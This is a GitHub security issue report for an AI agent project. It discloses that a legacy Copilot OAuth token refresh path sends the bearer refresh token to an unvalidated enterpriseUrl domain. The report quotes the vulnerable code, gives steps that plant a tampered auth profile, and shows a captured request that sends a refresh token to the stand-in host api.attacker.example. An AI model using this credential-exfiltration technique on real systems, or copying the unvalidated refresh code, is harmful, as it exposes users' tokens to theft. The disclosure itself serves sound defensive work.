Skip to content

github-copilot: legacy OAuth token refresh sends bearer credential to unvalidated enterpriseUrl domain #103078

Description

@yetval

Summary

A legacy GitHub Copilot OAuth credential with a non-github.com enterpriseUrl causes every automatic background token-refresh cycle to send the real Copilot bearer refresh token to that unvalidated host, indefinitely and with no operator interaction, because the refresh path never runs the domain through any allowlist.

Environment

  • Commit: 8656c3b (origin/main at time of filing)
  • Surface: GitHub Copilot OAuth provider (src/llm/utils/oauth/github-copilot.ts), reached via the generic oauth auto-refresh manager (src/agents/auth-profiles/oauth.ts)

Steps to reproduce

  1. Get an oauth-typed github-copilot auth profile onto disk with a non-default enterpriseUrl. This is reachable today through openclaw doctor --fix migrating a legacy flat auth-profiles.json (coerceLegacyFlatCredential in src/commands/doctor-auth-flat-profiles.ts:242-244 copies raw.enterpriseUrl verbatim with no hostname validation), or through direct local tampering of that file.
  2. Wait for (or trigger) the generic oauth auto-refresh path: refreshOAuthCredential (src/agents/auth-profiles/oauth.ts:192-215) calls githubCopilotOAuthProvider.refreshToken (src/llm/utils/oauth/github-copilot.ts:574-577) whenever that credential's access token is expired, with no per-provider domain gate.
  3. refreshToken calls refreshGitHubCopilotToken(creds.refresh, creds.enterpriseUrl) (src/llm/utils/oauth/github-copilot.ts:362-400), which reads const domain = enterpriseDomain || "github.com" (line 367) and never validates it.

Expected

The domain used to construct the Copilot token-refresh endpoint should be restricted to an allowlist (public github.com plus *.ghe.com data-residency tenants), the same way normalizeGithubCopilotDomain in src/plugin-sdk/provider-auth.ts:166-179 already fails closed for the currently shipped provider plugin.

Actual

refreshGitHubCopilotToken builds https://api.${domain}/copilot_internal/v2/token from the raw persisted enterpriseUrl string and sends Authorization: Bearer <refreshToken> to it, with zero validation. Driving the real function with enterpriseDomain: "attacker.example" sends the bearer refresh token straight to https://api.attacker.example/copilot_internal/v2/token.

Root cause (if known)

src/llm/utils/oauth/github-copilot.ts:77-88 defines normalizeDomain, which itself has no allowlist (accepts any string that parses as a URL hostname):

export function normalizeDomain(input: string): string | null {
  const trimmed = input.trim();
  if (!trimmed) {
    return null;
  }
  try {
    const url = trimmed.includes("://") ? new URL(trimmed) : new URL(`https://${trimmed}`);
    return url.hostname;
  } catch {
    return null;
  }
}

Worse, refreshGitHubCopilotToken (lines 362-400) never even calls normalizeDomain:

export async function refreshGitHubCopilotToken(
  refreshToken: string,
  enterpriseDomain?: string,
  options: CopilotRequestOptions = {},
): Promise<OAuthCredentials> {
  const domain = enterpriseDomain || "github.com";
  const urls = getUrls(domain);

  const raw = await fetchJson(
    urls.copilotTokenUrl,
    {
      headers: {
        Accept: "application/json",
        Authorization: `Bearer ${refreshToken}`,
        ...COPILOT_HEADERS,
      },
    },
    "token refresh request",
    options,
  );

modifyModels in the same file (lines 583-590) does call normalizeDomain on the identical creds.enterpriseUrl field before building a base URL, which shows the omission in refreshToken is an inconsistency between two call sites reading the same field, not an intentional design choice.

Two upstream loaders round-trip enterpriseUrl with no hostname/URL validation before it ever reaches the refresh call:

  • coerceLegacyFlatCredential in src/commands/doctor-auth-flat-profiles.ts:242-244 copies raw.enterpriseUrl verbatim from a legacy flat auth-profiles.json during openclaw doctor --fix migration.
  • normalizeRawCredentialEntry in src/agents/auth-profiles/persisted.ts:180-194 re-reads enterpriseUrl as a bare non-empty string on every disk load, with no URL/hostname check.

The currently shipped provider plugin does not create this exposure: extensions/github-copilot/login.ts stores type: 'token' credentials, and the enterprise domain lives only in the allowlisted config key models.providers.github-copilot.params.githubDomain, validated on every read by normalizeGithubCopilotDomain in extensions/github-copilot/domain.ts:13-36 (which mirrors the hardened src/plugin-sdk/provider-auth.ts:166-179 implementation). So the audited legacy oauth+enterpriseUrl shape is reachable only for upgrade/legacy-state users, not through any live login flow.

Sibling surfaces

loginGitHubCopilot (src/llm/utils/oauth/github-copilot.ts:513-559), the interactive login half of the same file, has no live caller anywhere in src/cli, src/commands, or ui. It is effectively dead code reachable only if some other path wires it up in the future; any such future caller would inherit the same unvalidated refreshGitHubCopilotToken behavior once the credential is persisted.

Real behavior proof

Behavior addressed: refreshGitHubCopilotToken sends the Copilot OAuth bearer refresh token to an attacker-controlled host reconstructed from an unvalidated persisted enterpriseUrl, with no allowlist check anywhere on that path
Real environment tested: real production functions driven directly at commit 8656c3b on origin/main: maybeRepairLegacyFlatAuthProfileStores (src/commands/doctor-auth-flat-profiles.ts), loadPersistedAuthProfileStore (src/agents/auth-profiles/persisted.ts), refreshGitHubCopilotToken and githubCopilotOAuthProvider.refreshToken (src/llm/utils/oauth/github-copilot.ts), and normalizeGithubCopilotDomain (src/plugin-sdk/provider-auth.ts); only the outbound fetch() network call was replaced with a stub that records the request and returns a valid token JSON body, all domain-resolution and credential-loading logic ran unmodified
Exact steps or command run after this patch: wrote a legacy flat auth-profiles.json with a github-copilot oauth entry containing enterpriseUrl "attacker.example", drove maybeRepairLegacyFlatAuthProfileStores to migrate it into the SQLite-backed store, read the result back with loadPersistedAuthProfileStore, then called refreshGitHubCopilotToken("ghr_real_refresh_token", "attacker.example") directly and separately called githubCopilotOAuthProvider.refreshToken with that same persisted credential shape, and finally called normalizeGithubCopilotDomain("attacker.example") for contrast
Evidence after fix:
```

migrated credential persisted verbatim, no validation applied to enterpriseUrl

{
"type": "oauth",
"provider": "github-copilot",
"access": "ghu_legacy_access",
"refresh": "ghr_legacy_refresh",
"enterpriseUrl": "attacker.example",
"expires": 1783627367473
}

refreshGitHubCopilotToken("ghr_real_refresh_token", "attacker.example") -- actual constructed outbound request

[
{
"url": "https://api.attacker.example/copilot_internal/v2/token",
"headers": {
"accept": "application/json",
"authorization": "Bearer ghr_real_refresh_token",
"copilot-integration-id": "vscode-chat",
"editor-plugin-version": "copilot-chat/0.35.0",
"editor-version": "vscode/1.107.0",
"user-agent": "GitHubCopilotChat/0.35.0"
}
}
]

githubCopilotOAuthProvider.refreshToken(...) with the persisted credential shape produced the identical outbound request

{
"url": "https://api.attacker.example/copilot_internal/v2/token",
"headers": { "authorization": "Bearer ghr_legacy_refresh" }
}

normalizeGithubCopilotDomain("attacker.example") on the hardened path, same input

github.com
```
Observed result after fix: the legacy refresh path sends a live-shaped Authorization Bearer header carrying the real refresh token to an attacker-controlled host built directly from an unvalidated persisted field, while the hardened normalizeGithubCopilotDomain path rejects the identical input and falls back to github.com, proving the two paths diverge on the same value and the refresh path is the one with no gate
What was not tested: no live GitHub Copilot account or real device-code login flow was exercised; the outbound fetch() call itself was stubbed since sending live bearer credentials to an actual third-party host is out of scope for a safe repro; loginGitHubCopilot's interactive prompt flow was read but not driven end to end since it has no current caller in the shipped CLI

Metadata

Metadata

Assignees

No one assigned

    Labels

    P0Emergency: data loss, security bypass, crash loop, or unusable core runtime.clawsweeper:fix-shape-clearClawSweeper found a clear likely implementation shape for this issue.clawsweeper:needs-maintainer-reviewClawSweeper marked this issue as needing maintainer review before automation.clawsweeper:needs-product-decisionClawSweeper marked this issue as needing a product or behavior decision.clawsweeper:needs-security-reviewClawSweeper marked this issue as needing security-sensitive review.clawsweeper:no-new-fix-prClawSweeper does not recommend queueing a new automated fix PR for this issue.clawsweeper:source-reproClawSweeper found a high-confidence source-level issue reproduction.impact:auth-providerAuth, provider routing, model choice, or SecretRef resolution may break.impact:securitySecurity boundary, credential, authz, sandbox, or sensitive-data risk.issue-rating: 🦞 diamond lobsterVery strong issue quality with high-confidence source-level or clear reproduction.maturity:stableIssue affects a taxonomy feature currently scored M4/M5.

    Type

    No type

    Fields

    Priority

    None yet

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions